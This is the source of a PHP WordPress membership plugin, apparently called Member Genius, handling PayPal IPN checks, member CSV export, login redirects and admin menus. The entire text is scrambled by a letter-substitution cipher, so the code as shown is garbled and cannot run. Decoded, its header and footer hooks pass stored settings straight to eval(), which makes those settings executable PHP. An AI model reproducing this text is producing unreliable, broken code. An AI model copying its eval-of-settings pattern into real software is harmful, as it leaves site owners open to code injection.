xA (SnmFmln == QplrmUbiqxoBCQplrmU || SnmFmln == QplrmUaFxuBCQplrmU || SnmFmln == QplrmU BAlsCBCQplrmU || SnmFmln == QplrmU BkBonBCQplrmU || SnmFmln == QplrmUnlEnDo_AFxuBCQplrmU || SnmFmln == QplrmUoBDlooxsz_qFhtBsm_nlnqBsCBC_ClB_mr_tFi_AFxuBC_qFhtBsmQplrmU || SnmFmln == QplrmUnlEnDo_DFsDBuQplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(Smi, SmrvBs) { Sqrnm = jq_oBtrmB_qrnm(QplrmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoQplrmU, FooFh( QplrmUErChQplrmU =QzmU FooFh(QplrmUDtCQplrmU =QzmU QplrmU_srmxAh-nhsDyQplrmU, QplrmUmiQplrmU =QzmU Smi, QplrmUFmQplrmU =QzmU SmrvBs), QplrmUymmqkBonxrsQplrmU =QzmU O.O ) )U SErCh = jq_oBtrmB_oBmoxBkB_ErCh(Sqrnm)U SuxsBn = BiqurCB(QplrmU\sQplrmU, SErCh)U SoBnlum = FooFh()U xA (moxt(SuxsBn[P]) V= QplrmU$;ddb$$QplrmU) { oBmlos sluuU } AroBFDy (SuxsBn Fn SuxsB) { SvBh = sluuU SkFulB = sluuU SAxBuCn = @BiqurCB(QplrmU=QplrmU, moxt(SuxsB))U xA (Drlsm(SAxBuCn) == O) { uxnm(SvBh) = SAxBuCnU } BunB { uxnm(SvBh, SkFulB) = SAxBuCnU } xA (SkFulB V== sluu) { SoBnlum[SvBh] = louCBDrCB(SkFulB)U } } oBmlos SoBnlumU } AlsDmxrs kBoxAh702(SkFon) { zurEFu StBtEBozBsxlnU Sqrnm = jq_oBtrmB_qrnm(QplrmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoQplrmU, FooFh( QplrmUErChQplrmU =QzmU FooFh_tBozB(FooFh(QplrmUDtCQplrmU =QzmU QplrmU_srmxAh-kFuxCFmBQplrmU), SkFon), QplrmUymmqkBonxrsQplrmU =QzmU O.O ) )U SErCh = jq_oBtrmB_oBmoxBkB_ErCh(Sqrnm)U xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==O) { Smyxn-QzmUsrmxAh()U } xA (moxt(SErCh) V= QplrmU!b 7a7bcQplrmU) { oBmlos sluuU } oBmlos SkFonU } qlEuxD AlsDmxrs srmxAh() { xA (VxnnBm(S_01$#[QplrmUqFhBo_BtFxuQplrmU])) { oBmlosU } SnlEwBDm = QplrmU[702] 0Fh0Fu 2rmxAxDFmxrs 4rzQplrmUU SqoxDB = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUFtrlsmMQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUFtrlsmMQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtD_FtrlsmMQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUtD_FtrlsmMQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtD_zornnQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUtD_zornnQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtD_zornnOQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUtD_zornnOQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUqFhtBsm_zornnQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUqFhtBsm_zornnQplrmU])U } xA (SqoxDB == QplrmUQplrmU) { SmyB0oxDB = QplrmUQplrmUU } BunB { SmyB0oxDB = QplrmU QplrmU . sltEBo_ArotFm(SqoxDB, N)U } xA (S_01$#[QplrmUqFhtBsm_nmFmlnQplrmU] == QplrmU BAlsCBCQplrmU || S_01$#[QplrmUqFhtBsm_nmFmlnQplrmU] == QplrmU BkBonBCQplrmU) { SnlEwBDm .= QplrmU ( ba;2cQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUjBE_FDDBqmQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUBiqoBnn_DyBDvrlmQplrmU) { SnlEwBDm .= QplrmU ($f4bQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_qFhtBsmQplrmU) { SnlEwBDm .= QplrmU ( be744QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_BrmQplrmU) { SnlEwBDm .= QplrmU (b2cbcQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_rlmnmFsCxsz_qFhtBsm_AFxuBCQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_AFxuBCQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_nlnqBsCBC_ClB_mr_tFi_AFxuBC_qFhtBsmQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_nvxqqBCQplrmU) { SnlEwBDm .= QplrmU ( be744 af74bcQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_DFsDBuQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_qorAxuB_DFsDBuQplrmU) { SnlEwBDm .= QplrmU (df2db44f#712QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_nxzslqQplrmU) { SnlEwBDm .= QplrmU ($792;0QplrmU.SmyB0oxDB.QplrmU)QplrmUU } SqFhtBsmcFmB = PU xA (xnnBm(S_01$#[QplrmUqFhtBsm_CFmBQplrmU])) { SqFhtBsmcFmB = nmomrmxtB(S_01$#[QplrmUqFhtBsm_CFmBQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUnlEnDo_CFmBQplrmU])) { SqFhtBsmcFmB = nmomrmxtB(S_01$#[QplrmUnlEnDo_CFmBQplrmU])U } BunB { SqFhtBsmcFmB = mxtB()U } StBnnFzB = QplrmUf sBj nFuB/oBAlsC jFn qorDBnnBC\o\sAro DlnmrtBo QplrmU.ymtuBsmxmxBn(S_01$#[QplrmUqFhBo_BtFxuQplrmU])U StBnnFzB .= QplrmU rs QplrmU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SqFhtBsmcFmB).QplrmU Fm QplrmU.CFmB(QplrmUz:x f BQplrmU, SqFhtBsmcFmB)U StBnnFzB .= QplrmU\o\s\o\scBmFxun:\o\s\o\sQplrmUU AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { StBnnFzB .= SvBh.QTPMGU: QTPMGU.SkFulB.QplrmU\o\sQplrmUU } Smyxn-QzmUBtFxu(SnlEwBDm, StBnnFzB)U } } DuFnn 3BtEBo9Bsxln!xBj { qlEuxD AlsDmxrs __DrsnmolDm() { FCC_FDmxrs(QplrmUjq_yBFCQplrmU, FooFh(QFtqUSmyxn, QplrmUyBFCQplrmU))U FCC_FDmxrs(QplrmUjq_ArrmBoQplrmU, FooFh(QFtqUSmyxn, QplrmUArrmQplrmU))U } qlEuxD AlsDmxrs yBFC() { zurEFu StBtEBozBsxlnU xA (SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUyBFCBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(Cr_nyromDrCB(SyBFCBo)).QTPMGU QumUWqyq QTPMGU )U } } qlEuxD AlsDmxrs Arrm() { zurEFu StBtEBozBsxlnU xA (SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUArrmBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(Cr_nyromDrCB(SArrmBo)).QTPMGU QumUWqyq QTPMGU )U } Srlmqlm = FooFh()U xA (SFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU)) { Suxsv = QplrmUymmq://jjj.tBtEBozBsxln.DrtQplrmUU xA (SFAAxuxFmB = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU)) { Suxsv = QplrmUymmq://tBtEBozBsxln.Drt/39/WB=QplrmU.SFAAxuxFmBU } Srlmqlm[] = QTPMGUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQTPMGU.ymtuBsmxmxBn(Suxsv).QTPMGUQplrmUQzmU?roC0oBnn 3BtEBonyxq $xmB 0rjBoBC eh 3BtEBo 9Bsxln 0ulzxs Aro ?roC0oBnnQumU/FQzmUQTPMGUU } xA (Snlqqrom = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnlqqromQplrmU)) { Snlqqrom = moxt(Snlqqrom)U xA (Snlqqrom) { Srlmqlm[] = QTPMGUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQTPMGU.ymtuBsmxmxBn(Snlqqrom).QTPMGUQplrmUQzmU$lqqrom cBnvQumU/FQzmUQTPMGUU } } xA (Drlsm(Srlmqlm) QzmU P) { BDyr QTPMGUQumUq Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUQTPMGUU BDyr xtqurCB(QplrmU - QplrmU, Srlmqlm)U BDyr QTPMGUQumU/qQzmUQTPMGUU } } qlEuxD AlsDmxrs CrjsurFC() { zurEFu StBtEBozBsxlnU xA (VDlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlosU } @rE_BsC_DuBFs()U yBFCBo(QplrmUdrsmBsm-mhqB:mBim/quFxsQplrmU)U yBFCBo(QTPMGUdrsmBsm-cBnDoxqmxrs: axuB #oFsnABoQTPMGU)U yBFCBo(QTPMGUdrsmBsm-#hqB: FqquxDFmxrs/rDmBm-nmoBFtQTPMGU)U yBFCBo(QTPMGUdrsmBsm-cxnqrnxmxrs: FmmFDytBsmU AxuBsFtB=QplrmUBiqrom.DnkQplrmUQTPMGU)U yBFCBo(QTPMGUdrsmBsm-#oFsnABo-bsDrCxsz: ExsFohQTPMGU)U yBFCBo(QTPMGUdrssBDmxrs: 5BBq-fuxkBQTPMGU)U yBFCBo(QTPMGUbiqxoBn: PQTPMGU)U yBFCBo(QTPMGUdFDyB-drsmoru: tlnm-oBkFuxCFmB, qrnm-DyBDv=P, qoB-DyBDv=PQTPMGU)U yBFCBo(QTPMGU0oFztF: qlEuxDQTPMGU)U SplBoh = QplrmUQplrmUU SnmFmln = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SplBoh .= QplrmUQFtqUuBkBun=QplrmU.xtqurCB(QplrmU,QplrmU, S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU])) { xA (S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU] == QplrmUFDmxkBQplrmU) { SplBoh .= QplrmUQFtqUnmFmln=fQplrmUU } BunBxA (S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU] == QplrmUDFsDBuBCQplrmU) { SplBoh .= QplrmUQFtqUnmFmln=dQplrmUU } BunBxA (S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU] == QplrmUFuuQplrmU) { SplBoh .= QplrmUQFtqUnmFmln=f,dQplrmUU } } StBtEBon = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(SplBoh)U BDyr QplrmUlnBosFtB,AxonmsFtB,uFnmsFtB,BtFxu,uBkBu,CFmB\o\sQplrmUU AroBFDy (StBtEBon Fn StBtEBo5Bh =QzmU StBtEBo) { SlnBosFtB = StBtEBo-QzmUlnBo_urzxsU SAxonmsFtB = zBm_lnBo_tBmF(StBtEBo-QzmU7c,QTPMGUAxonm_sFtBQTPMGU, molB)U SuFnmsFtB = zBm_lnBo_tBmF(StBtEBo-QzmU7c,QTPMGUuFnm_sFtBQTPMGU, molB)U SBtFxu = StBtEBo-QzmUlnBo_BtFxuU SuBkBun = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(StBtEBo-QzmU7c) Fn SlnBo4BkBu) { SuBkBun[] = SlnBo4BkBu-QzmUuBkBu_sFtBU } SuBkBu = xtqurCB(QplrmU,QplrmU, SuBkBun)U SCFmB = StBtEBo-QzmUlnBo_oBzxnmBoBCU SuxsB = FooFh( QplrmUlnBosFtBQplrmU =QzmU SlnBosFtB, QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SBtFxu, QplrmUuBkBuQplrmU =QzmU SuBkBu, QplrmUCFmBQplrmU =QzmU SCFmB )U SuxsB = FooFh_tFq(FooFh(QFtqUSmyxn, QplrmUCrjsurFC_nFsxmxgBQplrmU), SuxsB)U BDyr xtqurCB(SuxsB,QplrmU,QplrmU).QplrmU\o\sQplrmUU } CxB()U } qoxkFmB AlsDmxrs CrjsurFC_nFsxmxgB(Sxsqlm) { oBmlos QTPMGUQplrmUQTPMGU.FCCDnuFnyBn(Sxsqlm, QplrmU\o\s\QplrmUQplrmU).QTPMGUQplrmUQTPMGUU } qlEuxD AlsDmxrs roCBo(SplBoh) { xA (xnnBm(SplBoh-QzmUplBoh_kFon[QTPMGUqrnm_mhqBQTPMGU]) QFtqUQFtqU SplBoh-QzmUplBoh_kFon[QTPMGUqrnm_mhqBQTPMGU] V= QTPMGUqrnmQTPMGU) { oBmlosU } FCC_AxumBo(QTPMGUqrnmn_roCBoEhQTPMGU, FooFh(QFtqUSmyxn, QTPMGUroCBoehQTPMGU))U } AlsDmxrs roCBoeh(SroCBoEh) { zurEFu StBtEBozBsxlnU SroCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUroCBoQplrmU)U xA (SroCBo == QplrmUFnDBsCxszQplrmU) { SroC = QplrmUf$dQplrmUU } BunB { SroC = QplrmUcb$dQplrmUU } zurEFu SjqCEU SroCBoEh = SjqCE-QzmUqrnmn.QplrmU.qrnm_CFmB QplrmU.SroCU oBmlos SroCBoEhU } qlEuxD AlsDmxrs urzrlm() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUnjxmDy_lnBoQplrmU) { jq_oBCxoBDm(jq_urzxs_lou())U CxB()U } BunB { Surzrlm_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU))U Surzrlm_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU)U xA (Surzrlm_qFzB == -O) { Surzrlm_uxsv = jq_urzxs_lou()U } BunBxA (Surzrlm_qFzB == P) { Surzrlm_uxsv = Surzrlm_louU } BunBxA (Surzrlm_qFzB) { Surzrlm_uxsv = zBm_qBotFuxsv(Surzrlm_qFzB)U } BunB { Surzrlm_uxsv = sluuU } xA (VSurzrlm_uxsv) { Surzrlm_uxsv = yrtB_lou()U } jq_oBCxoBDm(Surzrlm_uxsv)U CxB()U } } qlEuxD AlsDmxrs BsplBlB_nDoxqmn() { jq_BsplBlB_nDoxqm(QplrmUwplBohQplrmU)U } qlEuxD AlsDmxrs urzxs() { xA (xn_lnBo_urzzBC_xs()) { oBmlosU } xA (VxnnBm(S_01$#[QTPMGUjqqq_lnBosFtBQTPMGU]) || VxnnBm(S_01$#[QTPMGUjqqq_qFnnjroCQTPMGU])) { oBmlosU } SDoBCn = FooFh()U SDoBCn[QTPMGUlnBo_urzxsQTPMGU] = S_01$#[QTPMGUjqqq_lnBosFtBQTPMGU]U SDoBCn[QTPMGUlnBo_qFnnjroCQTPMGU] = S_01$#[QTPMGUjqqq_qFnnjroCQTPMGU]U SDoBCn[QTPMGUoBtBtEBoQTPMGU] = molBU SlnBo = jq_nxzsrs( SDoBCn, (xn_nnu()WmolB:AFunB) )U SlnBo4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c)U xA (VSlnBo4BkBun || Vxn_FooFh(SlnBo4BkBun)) { SlnBo4BkBun = FooFh()U } xA (Vxn_jq_Booro(SlnBo) ) { jq_oBCxoBDm( yrtB_lou() )U } } qlEuxD AlsDmxrs jxCzBm_Drsmoru(SFozn=sluu, SqFoFtn=sluu) { oBmlos molBU } qlEuxD AlsDmxrs jxCzBm(SFozn) { BimoFDm(SFozn)U BDyr SEBAroB_jxCzBmU BDyr SEBAroB_mxmuB . QTPMGU3BtEBonyxq cBmFxuQTPMGU . SFAmBo_mxmuBU WQzmUY QumUWqyq xA (xn_lnBo_urzzBC_xs()): WQzmUY QFtqUoFplrU QumUF yoBA=QplrmUQumUWqyq BDyr jq_urzrlm_lou()U WQzmUQplrmU mxmuB=QplrmU4rzrlmQplrmUQzmU4rzrlmQumU/FQzmUY QumUWqyq BunB: WQzmUY QumUWqyq jq_urzxs_Arot()U WQzmUY QumUWqyq BsCxAU WQzmUY QumUWqyq BDyr SFAmBo_jxCzBmU } qlEuxD AlsDmxrs FlmroBnqrsCBo() { zurEFu StBtEBozBsxlnU xA (xn_FCtxs()) { oBmlosU } xA (Vxn_lnBo_urzzBC_xs()) { oBmlosU } SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SlnBoaxonm = QplrmUQplrmUU SlnBo4Fnm = QplrmUQplrmUU SlnBobtFxu = QplrmUQplrmUU xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_AxonmsFtB)) { SlnBoaxonm = SDlooBsm_lnBo-QzmUlnBo_AxonmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_uFnmsFtB)) { SlnBo4Fnm = SDlooBsm_lnBo-QzmUlnBo_uFnmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_BtFxu)) { SlnBobtFxu = SDlooBsm_lnBo-QzmUlnBo_BtFxuU } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c, QplrmU;QplrmU)U xA (Vxn_FooFh(SuBkBun) || Drlsm(SuBkBun) == P) { oBmlosU } SFlmroBnqrsCBon = FooFh()U AroBFDy (SuBkBun Fn SuBkBu) { StBtEBozBsxln-QzmUtrCBu-QzmUnlEnDoxEB(SDlooBsm_lnBo-QzmU7c, SuBkBu-QzmUuBkBu_xC)U SFlmroBnqrsCBon[] = StBtEBozBsxln-QzmUtrCBu-QzmUzBmflmroBnqrsCBo(SuBkBu-QzmUuBkBu_xC)U } Sx = PU AroBFDy (SFlmroBnqrsCBon Fn SvBh =QzmU SFlmroBnqrsCBo): WQzmUY QumUCxk xC=QplrmUtBtEBozBsxln_FlmroBnqrsCBo[QumUWqyq BDyr SvBhU WQzmU]QplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUY QumUWqyq BDyr SFlmroBnqrsCBo[QplrmUDrCBQplrmU]U WQzmUY QumU/CxkQzmUY QumUxAoFtB sFtB=QplrmUtBtEBozBsxln_nlEtxm[QumUWqyq BDyr SvBhU WQzmU]QplrmU jxCmy=QplrmUOQplrmU yBxzym=QplrmUOQplrmU noD=QplrmUFErlm:EuFsvQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUQumU/xAoFtBQzmUY QumUWqyq Sx++U WQzmUY QumUWqyq BsCAroBFDyU WQzmUYY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y w&lBoh(AlsDmxrs() {Y QumUWqyq AroBFDy (SFlmroBnqrsCBon Fn SvBh =QzmU SkFulB): WQzmUY kFo myBflmroBnqrsCBo = w&lBoh(CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_FlmroBnqrsCBo[QumUWqyq BDyr SvBhU WQzmU]QplrmU))UY kFo myBarot = myBflmroBnqrsCBo.AxsC(QplrmUArotQplrmU).Axonm()UY myBarot.Fmmo(QplrmUmFozBmQplrmU, QplrmUtBtEBozBsxln_nlEtxm[QumUWqyq BDyr SvBhU WQzmU]QplrmU)UYY QumUWqyq xA (xnnBm(SkFulB[QplrmUBtFxuQplrmU])): WQzmUY myBflmroBnqrsCBo.AxsC(QplrmUxsqlm[sFtB=QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(SkFulB[QplrmUBtFxuQplrmU])U WQzmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBobtFxu)U WQzmUQplrmU)UY QumUWqyq BsCxAU WQzmUYY QumUWqyq xA (xnnBm(SkFulB[QplrmUAxonmsFtBQplrmU])): WQzmUY myBflmroBnqrsCBo.AxsC(QplrmUxsqlm[sFtB=QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(SkFulB[QplrmUAxonmsFtBQplrmU])U WQzmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBoaxonm)U WQzmUQplrmU)UY QumUWqyq BsCxAU WQzmUYY QumUWqyq xA (xnnBm(SkFulB[QplrmUuFnmsFtBQplrmU])): WQzmUY myBflmroBnqrsCBo.AxsC(QplrmUxsqlm[sFtB=QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(SkFulB[QplrmUuFnmsFtBQplrmU])U WQzmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo4Fnm)U WQzmUQplrmU)UY QumUWqyq BsCxAU WQzmUYY // cBuBmB nlEtxm Elmmrs jyxDy DFlnBn qorEuBtnY myBarot.AxsC(QplrmU[sFtB=QTPMGUnlEtxmQTPMGU]QplrmU).BFDy(AlsDmxrs(x, rEw) { w&lBoh(rEw).oBtrkB()U })UYY // $lEtxm myB ArotY myBarot.moxzzBo(QplrmUnlEtxmQplrmU)UYY QumUWqyq BsCAroBFDyU WQzmUY })UY // --QzmUY QumU/nDoxqmQzmUYY QumUWqyqY } } DuFnn 3BtEBo9BsxlnfCtxs { qlEuxD SFDmxkFmxrsU qlEuxD StBslU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUFDmxkFmxrs = sBj 3BtEBo9BsxlnfDmxkFmxrs(QplrmUymmq://NFtFDmxkFmxrs.Drt/xsDrtBtFDyxsBQplrmU, QplrmUtBtEBozBsxlnQplrmU, QplrmU3BtEBo 9BsxlnQplrmU, QplrmUymmq://jjj.xsDrtBtFDyxsB.Drt/tBtEBonQplrmU)U xA (VAlsDmxrs_Bixnmn(QTPMGUFCC_FDmxrsQTPMGU)) { oBmlosU } FCC_FDmxrs(QTPMGUFCtxs_tBslQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtBsl_nBmlqQTPMGU))U xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P) { FCC_AxumBo(QplrmUqulzxs_FDmxrs_uxsvnQplrmU, FooFh(QFtqUSmyxn, QTPMGUuxsvn_lsoBzxnmBoBCQTPMGU), OP, N)U oBmlosU } FCC_FDmxrs( QTPMGUFCtxs_EFo_tBslQTPMGU, FooFh( Smyxn, QplrmUFCtxs_EFoQplrmU ), MK )U xA (Vxn_FCtxs()) { oBmlosU } FCC_FDmxrs(QTPMGUFCtxs_xsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUFCtxs_xsxmQTPMGU))U FCC_FDmxrs(QTPMGUqorAxuB_lqCFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorAxuB_lqCFmBQTPMGU))U FCC_FDmxrs(QTPMGUnyrj_lnBo_qorAxuBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorAxuBQTPMGU))U FCC_FDmxrs(QTPMGUBCxm_lnBo_qorAxuBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorAxuBQTPMGU))U FCC_AxumBo(QTPMGUtFsFzB_qFzBn_DrultsnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsnQTPMGU))U FCC_FDmxrs(QTPMGUtFsFzB_qFzBn_Dlnmrt_DrultsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsQTPMGU), OP, N)U FCC_AxumBo(QTPMGUtFsFzB_qrnmn_DrultsnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsnQTPMGU))U FCC_FDmxrs(QTPMGUtFsFzB_qrnmn_Dlnmrt_DrultsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUjq_CFnyErFoC_nBmlqQTPMGU, FooFh(Smyxn, QTPMGUCFnyErFoC_nBmlqQTPMGU))U FCC_AxumBo(QplrmUqulzxs_FDmxrs_uxsvnQplrmU, FooFh(QFtqUSmyxn, QTPMGUuxsvnQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUFCC_tBmF_EriBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtBmF_EriBnQTPMGU))U FCC_AxumBo(QplrmUjq_xsnBom_qrnmQplrmU, FooFh(QFtqUSmyxn, QTPMGUtBmF_nFkBQTPMGU), OP, N)U FCC_AxumBo(QplrmUnFkB_qrnmQplrmU, FooFh(QFtqUSmyxn, QTPMGUtBmF_nFkBQTPMGU))U } qlEuxD AlsDmxrs DurFv_quFDByruCBo(SplBoh) { xA (Vxn_FCtxs()) { oBmlos SplBohU } xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { xA (SplBoh V= QplrmUQplrmU) { SplBoh .= QplrmU f2c QplrmUU } SplBoh .= QplrmU7c QumUQzmU QplrmU.xsmkFu(SquFDByruCBo-QzmU7c)U } oBmlos SplBohU } qlEuxD AlsDmxrs mFE4xsv(SsFtB=QplrmUQplrmU) { xA (SsFtB V= QplrmUQplrmU) { SnlAAxi = QplrmU-QplrmU.SsFtBU } BunB { SnlAAxi = QplrmUQplrmUU } oBmlos FCtxs_lou(QTPMGUFCtxs.qyqWqFzB=QTPMGU.qulzxs_EFnBsFtB(__a74b__).SnlAAxi)U } qlEuxD AlsDmxrs CFnyErFoC_nBmlq() { xA (VDlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } jq_FCC_CFnyErFoC_jxCzBm(QTPMGUtBtEBozBsxlnQTPMGU, QTPMGU3BtEBo 9Bsxln cFnyErFoCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtBsl_CFnyErFoC_qFsBuQTPMGU))U } qlEuxD AlsDmxrs FCtxs_EFo() { zurEFu StBtEBozBsxlnU SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU)U xA (SsrstBtEBo_qFzB == P) { SsrstBtEBo_uxsv = SsrstBtEBo_louU } BunBxA (SsrstBtEBo_qFzB) { SsrstBtEBo_uxsv = zBm_qBotFuxsv(SsrstBtEBo_qFzB)U } BunB { SsrstBtEBo_uxsv = sluuU } Surzrlm_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU))U Surzrlm_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU)U xA (Surzrlm_qFzB == P) { Surzrlm_uxsv = Surzrlm_louU } BunBxA (Surzrlm_qFzB) { Surzrlm_uxsv = zBm_qBotFuxsv(Surzrlm_qFzB)U } BunB { Surzrlm_uxsv = sluuU } Smyxn-QzmUFCC_orrm_tBsl(QplrmU3BtEBo 9BsxlnQplrmU, QplrmUtBtEBozBsxlnQplrmU, Smyxn-QzmUmFE4xsv())U Smyxn-QzmUFCC_nlE_tBsl(QplrmUcFnyErFoCQplrmU, Smyxn-QzmUmFE4xsv(), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_CFnyErFoCQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmU$BmmxsznQplrmU, Smyxn-QzmUmFE4xsv(QplrmUnBmmxsznQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_nBmmxsznQplrmU )U xA (SsrstBtEBo_uxsv) { Smyxn-QzmUFCC_nlE_tBsl(QplrmUQFtqUsEnqUQFtqUsEnqU !xBj 2rs-3BtEBo 0FzBQplrmU, SsrstBtEBo_uxsv, QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_srstBtEBo_uxsvQplrmU )U } xA (Surzrlm_uxsv) { Smyxn-QzmUFCC_nlE_tBsl(QplrmUQFtqUsEnqUQFtqUsEnqU !xBj 4rz-1lm 0FzBQplrmU, Surzrlm_uxsv, QplrmUtBtEBozBsxlnQplrmU, 